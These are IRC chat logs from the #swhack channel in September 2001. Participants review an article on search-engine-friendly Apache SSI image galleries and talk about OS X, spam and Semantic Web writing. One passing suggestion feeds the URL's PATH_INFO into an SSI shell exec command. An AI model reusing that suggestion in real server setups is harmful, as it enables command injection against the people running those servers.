02:00:56 <Morbus> deltab, changed "action" line to something like "gets info on a file" 02:01:57 <deltab> maybe "makes the server get info" 02:02:46 <Morbus> makes Apache return info on a file? 02:03:06 <deltab> yes 02:03:48 <deltab> well, I think what you're trying to emphasize is it's the server that tries to access the file 02:05:25 <Morbus> alright... 02:05:42 <Morbus> "SSI commands make the return info on a file, Apache will" 02:05:44 <deltab> the RedirectMatch not only makes the URL looks nicer, it also makes it possible to change to some other method of serving the files without changing the URLs or keeping obsolete bits in them 02:05:52 <Morbus> (add "server") 02:06:10 <Morbus> right. i'll add that. 02:07:11 <sbp> I like doing random Google searches: http://www.google.com/search?q=Monkey+Flare+Nut+Google 02:07:22 <Morbus> heh. i did that on scattergirl. lemme find a link. 02:08:09 <Morbus> http://www.scattergirl.com/ubb/Forum6/HTML/000049.html 02:09:15 <sbp> weird! http://muted.org/alx/quotes.txt 02:09:29 <Morbus> anything else deltab? latest is on the refresh 02:09:32 <deltab> "make the server access a file" (not the client) 02:09:35 <sbp> excerpt:- 02:09:36 <sbp> [[[ 02:09:36 <sbp> Spiral sex? 02:09:36 <sbp> Fun time on the Old town tonight 02:09:36 <sbp> Wish you were here! 02:09:36 <sbp> Clean shaven people are better respected members of society. 02:09:38 <sbp> I found this photograph---thought it was cool. 02:09:40 <sbp> Dear mom, please fine enclosed a picture of my fiancee. 02:09:42 <sbp> Dear Dad, I know you won't like this, but I lost my virginity to an animal. 02:09:44 <sbp> Dear police: NO MORE DONUTS!!! 02:09:46 <sbp> ]]] 02:09:49 <deltab> I'd say 02:13:09 <sbp> Gotta run 02:13:13 <Morbus> alright, if no more comments, i'm submitting this thing. 02:13:16 <AaronSw> bye 02:13:17 <deltab> and where are the DOCTYPEs, eh? :-) 02:13:28 <AaronSw> run it thru validator.w3.org 02:13:36 <Morbus> bwahahah.a 02:13:42 <Morbus> i'm trying not to confuse people :) 02:14:22 <deltab> "(think "?" is a query, so what follows after that is a string)" 02:14:45 <deltab> huh? 02:15:22 <AaronSw> * AaronSw wonders about OS X webcam software... anyone have suggestions? 02:15:31 <Morbus> they'll just rip out the good part. 02:15:41 <Morbus> i use coolcam. 02:15:46 <Morbus> classic/osx. 02:15:57 <AaronSw> Classic? ick 02:16:04 <Morbus> what makes you huh? about that, dt... 02:16:10 <sbp> sbp has quit 02:16:24 <Morbus> well, get this, the cam i have is only meant for pc. but 3com released drivers for it on the mac. drivers which only work on classic. 02:16:34 <Morbus> and os x doesn't nternally recognize it. 02:16:45 <Morbus> so i have to load classic to use my flipping cam even though there's an osx version :) 02:16:54 <deltab> Morbus: the grammar, for one thing 02:17:20 <AaronSw> yuck... i have a 3Com HomeConnect (which I got for free) and a Phillipes wacko-purple-thingy 02:17:28 <AaronSw> err Phillips 02:17:51 <Morbus> "mnemonic: to question someone is to QUERY, and you query them with a STRING of words. 02:17:57 <Morbus> " 02:18:06 <Morbus> yeah, i have the homeconnect too... 02:18:11 <deltab> hmm 02:18:29 <Morbus> that works for you under os x? 02:18:39 <AaronSw> Haven't tried it yet... 02:18:46 <AaronSw> guess i'll start with the purpleythingy 02:18:51 <Morbus> hehe 02:18:51 <deltab> it's called QUERY_STRING because it's the query part of the URL, as a string 02:19:09 <Morbus> right. ok. how about i remove that line entirely. 02:19:14 <deltab> yeah 02:19:15 <Morbus> i'm trying to remain "userfriendly". 02:19:57 <deltab> since it's irrelevant anyway, it doesn't matter :-) 02:20:06 <Morbus> the evolt crowd isn't totally geeky... yeah, exactly :) 02:23:00 <deltab> er, "plummage"? itym "plumage" 02:23:28 <Morbus> bwaahahaha. http://www.msnbc.com/news/630583.asp 02:23:50 <deltab> plume 02:23:50 <deltab> n 1: a feather or cluster of feathers worn as an ornament 02:23:50 <deltab> 2: the light horny waterproof structure forming the external 02:23:50 <deltab> covering of birds [syn: {feather}, {plumage}] 02:23:56 <Morbus> that passed the spellchecker... what's plummage? 02:24:46 <deltab> something to do with plums? 02:24:55 <AaronSw> * AaronSw is on 3186 of 10115 02:25:00 <AaronSw> for his email 02:25:02 <Morbus> hehehe to both of you. 02:25:05 <deltab> No definitions found for "plummage", perhaps you mean: 02:25:05 <deltab> web1913: Plumage Plumbage 02:25:05 <deltab> wn: plumage 02:25:26 <deltab> <h1>Your PATH_INFO is: <!--#echo var="PATH_INFO"--><h1> 02:25:33 <deltab> uh, should be </h1> 02:25:39 <Morbus> gotcha 02:25:51 <Morbus> good eye, good eye ;) 02:26:54 <deltab> <img src="..<!--#echo var="PATH_INFO"-->.jpg" alt="wonderful plummage!" 02:27:00 <deltab> <img src="../jill.jpg" alt="look at the curls!" /> 02:27:18 <deltab> how does SSI make one into the other? :-) 02:27:40 <Morbus> dammit, you know, i was making sure i didn't make that mistake <g> 02:27:57 <deltab> hehe 02:28:07 <Morbus> or, trying, rather :) 02:30:37 <deltab> hmm, maybe the alt attribute should be based on $PATH_INFO :-) 02:31:21 <Morbus> i do that on my live version, but i don't want to code to wrap on smaller browser widths 02:31:29 <deltab> heh, I know - if you can stand having an extra text file for each, include ..$PATH_INFO.txt 02:31:47 <Morbus> ah, yeah, i guess that would work... 02:32:24 <Morbus> or, alternatively, another ssi that looks at the passed name and returns a single line from a larger db of descriptions :) 02:32:30 <AaronSw> * AaronSw feels his way around the "imporved" stuffit website 02:32:39 <Morbus> i think that would be "part 2"... this is a larger article than normal for evolt 02:32:44 <Morbus> :) 02:33:00 <Morbus> that'd be a good "how to use conditionals" article... 02:33:06 <deltab> exec look $PATH_INFO | cut -f 2- 02:33:27 <deltab> exec look $PATH_INFO descriptions | cut -f 2- 02:33:31 <deltab> rather 02:33:41 <deltab> anyway, yes 02:33:48 <Morbus> i think i have that turned off here... 02:34:25 <deltab> though it's lame, I think alt="image" is the best you can do simply 02:34:38 <Morbus> actually, i've never used exec to shellcmd, so i'm not sure. is that turned on by default? 02:35:05 <deltab> <!--#exec ... --> I mean 02:35:34 <Morbus> yeah, i think we turned that off on the isp box due to possible security idicoy 02:35:40 <Morbus> idiocy, rather 02:35:42 <deltab> * deltab nods 02:36:12 <Morbus> but the conditional thing would be easy to do... 02:36:21 <deltab> hmm, would you want gallery pages indexed as "failure coming, I bet"? 02:36:31 <Morbus> ok, now we're getting anal <g> 02:37:03 <deltab> well, that was the point of the PATH_INFO thing, was it not? 02:37:12 <Morbus> hey, shuddup <g> 02:38:05 <deltab> hmm, I'm beginning to suspect this isn't too useful without being able to put descriptions on the page... 02:38:25 <Morbus> ok. i'm gonna submit this. i gotta get some other stuff done 02:38:30 <deltab> okay 02:39:15 <deltab> leave some expertise for the consultancy work :-) 02:39:15 <Morbus> thanks for all your help. very much appreciated. depending on how it's reacted to on evolt, i may do a part2. if evolt hates it, i'll bring it to apachetoday ;) 02:39:20 <Morbus> bwahahahaha... 02:39:25 <deltab> haha 02:45:59 <Morbus> not yet public, but soon: http://www.evolt.org/article/Search_Engine_Friendly_SSI_Image_Gallery/20/15882/index.html 02:54:23 <Morbus> welp, i'm out. gotta take a shower and wind down by reading. 02:54:40 <AaronSw> * AaronSw finds no OS X drivers... :( 02:54:48 <Morbus> for that 3com? 02:54:54 <AaronSw> for either 02:55:00 <AaronSw> Mac drivers for both, tho 02:55:03 <AaronSw> and Linux, i think 02:55:25 <Morbus> yeah. thats what i found too. i emailed support bout it a while ago and they just told me to watch the mac page 02:55:32 <Morbus> we'll never see it though since its discontinued 02:55:57 <Morbus> anyways... ciao! 02:56:07 <AaronSw> ciao 02:56:11 <Morbus> Morbus has quit 03:03:05 <tav`> tav` has quit 03:04:03 <tav> tav has quit 03:45:32 <sbp> sbp has joined #swhack 03:50:03 <AaronSw> Hi sean 03:50:25 <AaronSw> Still going thru email... 03:50:46 <AaronSw> Now I'm about 550 messages behind... :-( 03:51:43 <AaronSw> Dave Winer: """ 03:51:45 <AaronSw> I'm going to say this three times so no one misses it. 03:51:45 <AaronSw> 1. If you use Windows, do not open enclosures to email messages. 03:51:46 <AaronSw> 2. If you use Windows, do not open enclosures to email messages. 03:51:46 <AaronSw> 3. If you use Windows, do not open enclosures to email messages. 03:51:49 <AaronSw> """ 03:51:58 <AaronSw> ... "Good luck and god bless the Internet." 03:52:30 <sbp> Heh 03:52:49 <sbp> Gotta run 03:53:29 <AaronSw> that was fast 03:55:50 <sbp> sbp has quit 04:38:46 <AaronSw> Pat Hayes: "I also fixed the meta tags so it passes the W3C validator, and I earned a .gif merit badge." 05:20:15 <AaronSw> AaronSw has quit 05:21:08 <AaronSw> AaronSw has joined #swhack 05:26:55 <AaronSw> Wow, timbl has sent me an email! I feel so appreciated! :-) 05:27:06 <AaronSw> TimBL: "KUTGW with the semantic web!" 05:27:19 <deltab> cool! 05:41:07 <AaronSw> Poor Tim... 05:41:07 <AaronSw> X-Mailer: Microsoft Outlook Express 5.00.3018.1300 05:42:23 <AaronSw> Ooh, and the message is archived too! I will live in fame forever. ;-) 07:34:26 <deltab> deltab has quit 07:34:36 <deltab> deltab has joined #swhack 09:22:59 <AaronSw> AaronSw has quit 09:23:10 <AaronSw> AaronSw has joined #swhack 09:32:00 <AaronSw> AaronSw has quit 09:32:11 <AaronSw> AaronSw has joined #swhack 10:07:45 <AaronSw> AaronSw has quit 10:08:12 <AaronSw> AaronSw has joined #swhack 11:12:22 <tav> tav has joined #swhack 11:28:03 <Morbus> Morbus has joined #swhack 11:47:20 <Morbus> Morbus has quit 11:55:49 <AaronSw> AaronSw has quit 11:56:14 <AaronSw> AaronSw has joined #swhack 13:12:50 <AaronSw> AaronSw has quit 13:13:15 <AaronSw> AaronSw has joined #swhack 13:41:51 <AaronSw> AaronSw has quit 13:42:16 <AaronSw> AaronSw has joined #swhack 14:04:43 <AaronSw> Hmm, how'd we end up with this topic? I don't remember it... 14:06:17 <AaronSw> From the unlogged logs: 14:06:19 <AaronSw> *** Morbus (Morbus@s125.terminal3.totalnetnh.net) has joined the channel 14:06:19 <AaronSw> <Morbus> i desire conversation for 25 minutes. 14:06:19 <AaronSw> <deltab> sorry, only 10 minute and 30 minute units are available 14:06:19 <AaronSw> *** Morbus has quit IRC (http://www.disobey.com/) 14:06:19 <AaronSw> <deltab> heh 14:07:29 <AaronSw> <Morbus> its still his birthday? man. he's lucky. 14:54:36 <AaronSw> Jeremy Carroll on the Model Theory: "I particularly liked the touch of section numbering from 0. 14:54:36 <AaronSw> From the very first symbol in the table of contents it is clear that 14:54:36 <AaronSw> this aims to be a serious mathematical document, rather than a 14:54:37 <AaronSw> computer scientist's hack." 15:39:47 <AaronSw> AaronSw has quit 15:40:17 <AaronSw> AaronSw has joined #swhack 15:51:56 <AaronSw> AaronSw has quit 15:53:01 <AaronSw> AaronSw has joined #swhack 16:09:51 <AaronSw> Pat Hayes: "Actually, I have a secret belief that the Web is always going to consist of kludge-towers, since it is always going to be designed by the biggest committee one can imagine. Maybe the right moral to draw is that as long as we have machines which are *just* smart enough to de-kludge our interfaces, kludges that usually work are better than waiting for the killer notation." 17:04:44 <AaronSw> AaronSw has quit 17:05:07 <AaronSw> AaronSw has joined #swhack 18:33:08 <Morbus> Morbus has joined #swhack 18:33:17 <Morbus> quick note: that stupid ssi article went up on evolt.org 18:41:48 <Morbus> Morbus has left #swhack 19:25:50 <Morbus> Morbus has joined #swhack 19:26:00 <Morbus> deltab, that article was linked on apachetoday :) 19:26:14 <Morbus> and they're interested in part 2 :) 19:34:24 <Morbus> you know, when you're around deltab, i was thinking about using mod_autoindex to supplement the image gallery - using rewrites and descripts./ 19:44:32 <Morbus> Morbus has left #swhack 20:04:28 <deltab> deltab has quit 20:08:18 <deltab> deltab has joined #swhack 21:14:22 <AaronSw> AaronSw has quit 21:14:45 <AaronSw> AaronSw has joined #swhack 22:00:03 <sbp> sbp has joined #swhack 22:00:14 <AaronSw> Aww, you missed my MusicBrainz lecture! 22:00:23 <sbp> Bugger 22:00:34 <sbp> OH crap, it's Thursday! I forgot. Is the class still on? 22:01:10 <AaronSw> no, just ended 22:01:53 <sbp> Aaaaaaargh! 22:02:17 <sbp> Seems as if PTS might be back on... *sigh* 22:03:00 <sbp> Perhaps we should set an end of the year dedline, or something 22:05:56 <AaronSw> heh... did you see the page sandro posted? 22:06:05 <AaronSw> http://www.w3.org/2001/03/identification-problem/ 22:06:13 <AaronSw> yeah, that's it. ;-) 22:06:25 <Morbus> Morbus has joined #swhack 22:06:33 <sbp> yes... 22:06:44 <Morbus> Morbus has quit 22:06:59 <Morbus> Morbus has joined #swhack 22:11:41 <AaronSw> Pat Hayes on OS X: "Yep , its very sexy." 22:12:23 <sbp> He he he 22:13:05 <AaronSw> Did you see his last quote in the logs? 22:13:14 <sbp> Nope 22:13:27 <AaronSw> Aww, it was a good one 22:13:38 <AaronSw> logster, grep Pat Hayes 22:13:41 <logster> I'm logging. I found 9 answers for 'Pat Hayes' (showing 0...4) 22:13:42 <logster> 0) 2001-09-20 22:13:38 <AaronSw> logster, grep Pat Hayes 22:13:43 <logster> 1) 2001-09-20 22:11:41 <AaronSw> Pat Hayes on OS X: "Yep , its very sexy." 22:13:44 <logster> 2) 2001-09-20 16:09:51 <AaronSw> Pat Hayes: "Actually, I have a secret belief that the Web is always going to consist of kludge-towers, since it is always going to be designed by the biggest committee one can imagine. Maybe the right moral to draw is that as long as we have machines which are *just* smart enough to de-kludge our interfaces, kludges that usually work are better than waiting for the killer notation." 22:13:45 <logster> 3) 2001-09-20 04:38:46 <AaronSw> Pat Hayes: "I also fixed the meta tags so it passes the W3C validator, and I earned a .gif merit badge." 22:13:46 <logster> 4) 2001-09-04 19:55:21 <AaronSw> Pat Hayes: "The M&S doesn't seem to feel a compulsion to go on and on about recommended uses of Bananas." 22:14:00 <sbp> ? 22:14:08 <AaronSw> ?? 22:14:15 <sbp> Bananas? 22:14:31 <AaronSw> yes? 22:14:54 <sbp> He neglected to mention mango fruits 22:14:54 <Morbus> 10.1 is supposed to be out next week 22:14:57 <AaronSw> four days... I can't wait! 22:14:58 <sbp> 10.1 what? 22:15:02 <AaronSw> OS X 10.1 22:15:24 <sbp> Oooooh! Great! Let's all jump up and down, go nuts, and throw a party 22:15:37 <sbp> * sbp isn't bitter, not at all 22:15:42 <Morbus> oh. you got my invitiation/ 22:15:43 <sbp> :-) 22:16:06 <AaronSw> I suppose we can have one in the channel... hmm, when's the keynote? 22:16:19 <sbp> I've just been stuck with run-of-the-mill (but usable) OS' all of the time... 22:16:27 <sbp> keynote? 22:16:32 <AaronSw> the 23rd is a ... 22:16:46 <AaronSw> sunday? 22:16:55 <sbp> yes 22:17:07 <AaronSw> hmm... 22:17:24 <sbp> why? 22:17:55 <sbp> So, what's going to be the greatest benefit of OS X 10.1? 22:18:01 <Morbus> speed 22:18:04 <Morbus> webdav built in 22:18:04 <AaronSw> http://www.key3media.com/seyboldseminars/sf2001/attendee/keynotes.shtml 22:18:10 <AaronSw> Tuesday, September 25 22:18:10 <AaronSw> 9:00-10:00am 22:18:22 <AaronSw> That should be when it gets introduced... 22:18:29 <AaronSw> webdav is built in now! 22:18:31 <sbp> anything cool? inference/proof engine built in? 22:18:40 <AaronSw> well, duh! 22:19:03 <AaronSw> It has XML-RPC and SOAP built in too. :-( 22:19:05 <sbp> Really? What's it called? 22:19:12 <AaronSw> duh? 22:19:29 <AaronSw> Dee Universal Helper 22:19:41 <sbp> Neat. Who's it by? 22:19:55 <AaronSw> DUNNO. 22:19:58 <AaronSw> More info: http://apple.com/macosx/newversion/ 22:20:23 <AaronSw> Dee Universal Notably Nagging Oaf. 22:20:58 <AaronSw> Hmm, what movie is in http://www.apple.com/macosx/newversion/images/dvdplayer.jpg ? 22:21:17 <sbp> seems alright, I guess 22:22:22 <Morbus> why do you have a frown on the whole XML-RPC / SOAP thing, aaron? 22:22:53 <AaronSw> * AaronSw is not an XML-RPC/SOAP fan... it's not compatible with Web Architecture and REST 22:23:04 <AaronSw> See: http://internet.conveyor.com/RESTwiki/moin.cgi/ 22:23:35 <AaronSw> Hah! 22:23:36 <AaronSw> September 20, 2001 22:23:36 <AaronSw> Windows XP Has Stable System; Keeps Users in Microsoft Corral 22:23:36 <AaronSw> By Walter S. Mossberg, Wall Street Journal 22:23:37 <AaronSw> "Software compatibility is good, but hardly perfect. Microsoft claims that 90% of the 1,200 most popular programs in North America are compatible." 22:23:49 <AaronSw> And people complain macs don't have enough software! 22:24:35 <eberg> eberg has joined #swhack 22:24:44 <sbp> It doesn't! 22:24:52 <AaronSw> hi eberg 22:25:45 <AaronSw> Oooh... 22:25:46 <AaronSw> An Anonymous Friend writes: An employee at the Apple Store said yesterday that the 10.1 upgrade would be released on the 26th or the 28th, and would "be available here at the store". Then he said "I probably shouldn't have told you that", but since my friend had just bought a dual-800 and a 22" Cinema, he must have been in a good mood. When I told another employee that I didn't want to wait for my CD in the mail once the upgrade was available, h 22:26:13 <sbp> :-) 22:26:16 <deltab> remember the 512-char limit 22:26:30 <deltab> "available, h" 22:26:39 <Morbus> another one of the internet.com sites may pick up that article too 22:26:42 <AaronSw> his comment was "bring down some media, we'll burn it for you here." 22:26:54 <deltab> heh 22:27:01 <sbp> An Anonymous Friend writes: An employee at the Apple Store said yesterday that the 10.1 upgrade would be released on the 26th or the 28th, and would "be available here at the store". Then he said "I probably shouldn't have told you that", but since my friend had just bought a dual-800 and a 22" Cinema, he must have been in a good mood. When I told another employee that I didn't want to wait for my CD in the mail once the upgrade was available, hdid 22:28:11 <sbp> nah, it didn't... crap 22:28:23 <AaronSw> didn't what? 22:28:39 <sbp> "upgrade was available, hdid this go over 256?" 22:28:51 <sbp> it didn't, according to: http://blogspace.com/swhack/chatlogs/2001-09-20.txt 22:28:59 <sbp> Gotta run, Monty Python! 22:29:01 <sbp> sbp has quit 22:29:08 <AaronSw> pff... that kid! 22:36:34 <Morbus> man, this is so cool. 22:36:48 <Morbus> i've had this bookmark for years on this game called "Nomic". 22:36:55 <Morbus> created by a philosophy professor. 22:37:05 <Morbus> he just flipping emailed me - he's a dedicated amphetadesk user. that's so cool. 22:37:34 <AaronSw> Wow! Stuff like that is fun. 22:37:48 <Morbus> definiitely 22:40:38 <tav> tav has quit 22:42:14 <tav> tav has joined #swhack 23:07:37 <sbp> sbp has joined #swhack 23:08:44 <sbp> > "upgrade was available, hdid this go over 256?" 23:08:48 <sbp> I meant 512... 23:08:56 <tav> ? 23:09:24 <sbp> look through the logs: http://blogspace.com/swhack/chatlogs/2001-09-20.txt 23:09:41 <sbp> Monty Python was the one with the Twit competition, in case anyone was wondering 23:09:59 <AaronSw> Oh, that's a great one! 23:11:27 <sbp> Slightly more surreal than some of the earlier ones (which is good!) 23:12:33 <AaronSw> Wow, I'm getting spam for hot, anonymous totally uncensored.... newsgroups! 23:12:57 <tav> hmz 23:13:26 <sbp> It was "The Naked Ant" 23:16:57 <sbp> You know what type of person you are when you get spam for hot, anonymous totally uncensored... newsgroups :-) 23:19:18 <Morbus> ack! 23:19:23 <Morbus> that's so funny. i got hit with that twice today 23:19:39 <Morbus> i know who does it too. when he jumps into irc, you should send him a message 23:19:50 <AaronSw> It must be targetting AmphetaDesk users. 23:19:52 <AaronSw> Who is it? 23:20:04 <Morbus> daniel cody - the head misfit from evolt.org 23:20:15 <AaronSw> He spams in his spare time? 23:20:16 <Morbus> its a joke. we were talking about usenet, and suddenly i get spammed with it 23:20:27 <Morbus> and then he begrudgingly confessed 23:20:31 <Morbus> ;) 23:20:43 <sbp> Aha! The truth is out 23:20:53 <Morbus> yup... 23:21:04 <AaronSw> Ahh, he spammed www-rdf-comments. 23:21:13 <Morbus> hehehe... 23:21:14 <AaronSw> Nice URL -- quasistupid.org 23:21:20 <Morbus> yeah, he should be on later tonight. you should pm him ;) 23:22:28 <AaronSw> Are you sure he did it? It seems rather elaborate... 23:23:19 <Morbus> he confessed. doesn't matter if he did, he wants to take the blame :) 23:23:23 <AaronSw> He should know better than to spam the poor defenseless, over-spammed www-rdf-comments. 23:24:21 <AaronSw> Registrant: 23:24:21 <AaronSw> Treeborn,Joshua (QUASISTUPID-DOM) 23:24:21 <AaronSw> 1 wallaby way 23:24:21 <AaronSw> Sidney, NA 00000 23:24:22 <AaronSw> AU 23:24:35 <AaronSw> I want an address like that! 23:24:41 <AaronSw> One Wallaby Way... 23:24:48 <Morbus> hehehe 23:24:55 <Morbus> 1 Angry Kangaroo St. 23:24:57 <sbp> Heh! 23:25:09 <AaronSw> Quick, call him: 23:25:09 <sbp> Cool, Dave Winer logged swintro on http://www.scripting.com/ 23:25:12 <AaronSw> 888-888-8888 23:25:21 <sbp> :-) 23:28:21 <sbp> Grpgrpggfh:- 23:28:23 <sbp> [[[ 23:28:23 <sbp> The Semantic Web explained. Isn't it funny that the Semantic Web is one of those concepts that constantly changes in an attempt to get in front of where the Internet is going? First it was annotated Web pages and now it is XML. 23:28:23 <sbp> 5:55:45 PM 23:28:28 <sbp> ]]] - http://jrobb.userland.com/ 23:28:38 <sbp> Yeah, and "now" it's XML 23:28:38 <AaronSw> LOL! 23:30:13 <AaronSw> there's like hardly any XML in your paper... weird 23:30:39 <sbp> Hmm... that's true 23:30:50 <AaronSw> Frank sent me some good comments on SW In Breadth. 23:31:43 <sbp> changes incorporated? 23:31:49 <AaronSw> Not yet... 23:32:19 <AaronSw> " I think one of the points you make that needs more 23:32:19 <AaronSw> emphasis and development, not in your paper, but in our thinking about 23:32:19 <AaronSw> the RDF/DAML/Semantic Web context, is the part about giving something a 23:32:20 <AaronSw> URI, and then creating a Web page to describe it." 23:32:25 <AaronSw> Heh, well we sure had that today on #rdfig. 23:33:47 <sbp> Hmm... 23:35:34 <sbp> Kick ass! swintro is required (or: covered) literature on a (apparently Dutch) KR course: http://www.cs.vu.nl/~terwijn/onderwijs/webkr/webkr.html 23:35:49 <sbp> Oh, "Frank van Harmelen"... we know him, right? 23:35:53 <sbp> RDF Core guy? 23:36:39 <AaronSw> No... Frank Manola is the RDF Core guy who sent me comments. 23:37:00 <AaronSw> Sheesh, I'm feeling so left out! 23:37:10 <sbp> Who's Frank van Harmelen, then? 23:37:24 <sbp> Pff, that's how I always feel :-) 23:37:27 <AaronSw> http://www.cs.vu.nl/~frankh/ 23:37:48 <AaronSw> Interesting... 23:37:53 <sbp> Cool, and it's the top Tech headline on http://www.bogieland.com/infodesign/ 23:38:07 <AaronSw> Frank van Harmelen: "I lead the Knowledge Representation and Reasoning group of our AI Department." 23:38:20 <AaronSw> Are you reading referers or something? 23:38:42 <AaronSw> good quote from bogieland 23:39:06 <sbp> Yeah, I'm going through my server logs... 23:39:09 <AaronSw> Ooh, Mark Bernstein's talk is up: http://www.markbernstein.org/talks/HT01.html 23:40:04 <AaronSw> Interesting idea. 23:41:08 <sbp> Ooh "BWSL Proposal Sean Palmer (Infomesh) 23:41:09 <sbp> http://www.javaskyline.com/20010720.html" 23:41:24 <sbp> (Infomesh)? 23:41:45 <AaronSw> Well... who else do you work for? 23:42:32 <sbp> Er... 23:43:18 <AaronSw> Nice: http://xml.coverpages.org/ni2001-07-17-c.html 23:43:57 <sbp> He he he 23:43:58 <sbp> [[[ 23:43:58 <sbp> 20010831 23:43:58 <sbp> Me: "So, with these nonverbal sentences... you can use nouns, and adjectives?..." 23:43:58 <sbp> Professor: "And numbers." 23:43:58 <sbp> Me: "Okay. What about verbs?" 23:44:00 <sbp> Professor: "Uhh, no... that's why they're called nonverbal sentences." 23:44:02 <sbp> Me: "Riiiiighhht." 23:44:05 <sbp> ]]] - 20010831 23:44:06 <sbp> Me: "So, with these nonverbal sentences... you can use nouns, and adjectives?..." 23:44:08 <sbp> Professor: "And numbers." 23:44:10 <sbp> Me: "Okay. What about verbs?" 23:44:12 <sbp> Professor: "Uhh, no... that's why they're called nonverbal sentences." 23:44:14 <sbp> Me: "Riiiiighhht." 23:44:18 <sbp> oh, crap... 23:44:20 <sbp> - http://scottraymond.net/ 23:44:25 <AaronSw> "multivalence is not a vice" what's that from? 23:44:46 <sbp> Bernstein? 23:45:04 <AaronSw> well, duh -- but what's the rest of the sentence? 23:45:17 <Morbus> ooh, aaronSw's getting saucy 23:45:33 <AaronSw> shut up, Morbus! ;-) 23:46:26 <Morbus> heheheh 23:46:37 <sbp> that *is* the sentence 23:46:49 <AaronSw> Hmm, guess so... I remember something more for some reason. 23:47:08 <sbp> It was part of an old talk of his... 23:47:36 <AaronSw> *The* talk! ht99 23:47:40 <AaronSw> http://www.eastgate.com/ht99/slides/ 23:47:49 <sbp> "*The*"? 23:48:09 <AaronSw> Yes -- that's Bernstein's famous speech... his keynote. 23:48:16 <AaronSw> They invented the "Bernies" after it. 23:48:36 <sbp> Ha! 23:48:37 <sbp> [[[ 23:48:38 <sbp> [The Semantic Web: An Introduction ]. This document is designed as being a simple but comprehensive introductory publication for anybody trying to get into the Semantic Web: from beginners through to long time hackers. Recommended pre-reading: the Semantic Web in Breadth. 23:48:43 <sbp> ]]] - http://www.schockwellenreiter.de/ 23:48:49 <sbp> See, you are listed 23:48:59 <AaronSw> Cool. 23:49:06 <AaronSw> <tav> i have been promised exclusive works by at least a dozen top artists in the uk 23:49:07 <AaronSw> Wow. 23:49:28 <AaronSw> <tav> of which 3 will be reknowned internationally 23:49:31 <tav> yea, i was blown away by that too ;p 23:49:44 <AaronSw> All for Espra? 23:49:47 <tav> yes 23:49:55 <tav> for december - january 23:50:31 <AaronSw> nice! 23:51:24 <sbp> Ooh 23:51:26 <sbp> [[[ 23:51:27 <sbp> What is the Semantic Web?: Here are some possibilities: 1) Overhyped version of the next big thing; 2) Over-engineered wishful thinking that will never really be built; 3) Potentially useful. Clearly, we all hope for (3), but one can never be sure. 23:51:32 <sbp> ]]] - http://www.cham.net/ 23:51:55 <tav> hmz 23:52:08 <tav> people need to think beyond SW 23:52:14 <tav> SW is just one aspect of it all 23:52:54 <AaronSw> Of what all? 23:53:13 <AaronSw> The Espian vision? 23:53:27 <sbp> lol 23:53:54 <tav> laugh now! 23:54:09 <tav> when the espians are storming the world, you shalt tremble in awe! 23:54:24 <AaronSw> * AaronSw is trembling already... 23:54:30 <tav> there are already three espians here 23:54:33 <tav> bwahahahahahaha! 23:54:46 <deltab> AaronSw: he means in awe, not laughter 23:55:24 <deltab> heh 23:55:27 <AaronSw> Heh 23:57:20 <sbp> Heh 23:57:37 <sbp> I thought that the espian vison was just a part of the Semantic Web 23:57:51 <tav> ehm, no 23:58:00 <deltab> I think maybe they overlap 23:58:13 <tav> semantic web kinda fits into one aspect of the espian vision 23:58:22 <sbp> * sbp was just kidding, BTW 23:58:45 <tav> i'm making a presentation pack btw ;p 23:58:52 <AaronSw> presentation pack? 23:58:55 <tav> of the whole espian vision 23:59:07 <AaronSw> what's a presentation pack? 23:59:24 <tav> well, the presentation pack is really for the music industry and espra 23:59:25 <AaronSw> yeah, the espian vision is bigger than the sw vision, i suppose, since it includes physical stuff too 23:59:49 <tav> but, i'm using it to work on the full model 23:59:50 <sbp> the SW can identify pyhsical stuff!!! �������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-21.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000217110�07352750635�012020� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:35 <logster> logster has joined #swhack 00:00:35 <benford.openprojects.net> topic is: [ a rdfs:SuperResource; = <urn:x-anon:a1> ] . 00:00:35 <benford.openprojects.net> Users on #swhack: logster sbp tav eberg Morbus AaronSw deltab 00:00:39 <AaronSw> The espian vision includes taking over the physical world. 00:00:55 <AaronSw> The Semantic Web (I don't think) is anything more than software. 00:01:19 <sbp> so far... 00:03:33 <AaronSw> Mark Bernstein: "Hamlet needs to go back to school, get roaring drunk, and await his opportunity. -- veryone knows this. Nobody can say this: that's the tragedy. But what's to stop you?", http://www.markbernstein.org/talks/HT01.html 00:06:28 <sbp> Does he ever talk about HyperText in his HyperText talks? 00:06:47 <AaronSw> What do you think it's about? 00:06:54 <sbp> Hamlet 00:06:59 <sbp> * sbp remembers a Simpsons quote 00:07:10 <AaronSw> He's discussing Hamlet in a hypertext context. 00:07:17 <sbp> Hang on, I'm getting a quote 00:07:31 <AaronSw> You're always remembering a Simpsons quote... 00:07:59 <tav> heh 00:08:14 <sbp> Bart: Dad, what are you doing here? 00:08:14 <sbp> Homer: Reading about this Edison character. They won't let me in 00:08:14 <sbp> the big people library downtown, there was some ... 00:08:15 <sbp> unpleasantness, I can never go back. Ooh! [reading a pop-up 00:08:15 <sbp> book] Look at all the inventions Edison came up with: the 00:08:15 <sbp> stock ticker, the storage battery, even wax paper! And look 00:08:17 <sbp> at him dance! 00:08:19 <sbp> [Homer fiddles with levers on the sides of the book, moving 00:08:21 <sbp> Edison's legs. He does a little scat singing as musical 00:08:23 <sbp> accompaniment] 00:08:25 <sbp> And, these Hardy Boys books are great, too! This one's about 00:08:27 <sbp> smugglers! 00:08:29 <sbp> Bart: They're all about smugglers. 00:08:31 <sbp> Homer: No, not this one! "The Smugglers of Pirate Cove". It's 00:08:33 <sbp> about pirates. 00:08:35 <sbp> -- Homer Simpson for America's Libraries, "The Wizard of Evergreen 00:08:37 <sbp> Terrace" 00:08:39 <sbp> I couldn't be bothered to type it out 00:08:41 <sbp> http://www.snpp.com/episodes/5F21 00:08:54 <tav> heh 00:09:07 <sbp> and therefore, Mark Bernsteins quote was about Hamlet 00:09:11 <tav> hmz, i loved the edison episode 00:09:26 <sbp> Homer: Go to your room and spank yourselves! 00:09:31 <tav> i am in constant awe of da vinci 00:09:40 <sbp> So was Edison 00:10:02 <tav> i fear however i will never be a da vinci, my inability to sing is spectacular 00:10:12 <AaronSw> * AaronSw went to the Edison Insititue... interesting place, except the folks there knew nothing about Edison. 00:10:22 <sbp> Bummer 00:10:30 <tav> some of my lovers even hate to hear me sing 00:10:36 <tav> can you believe that? 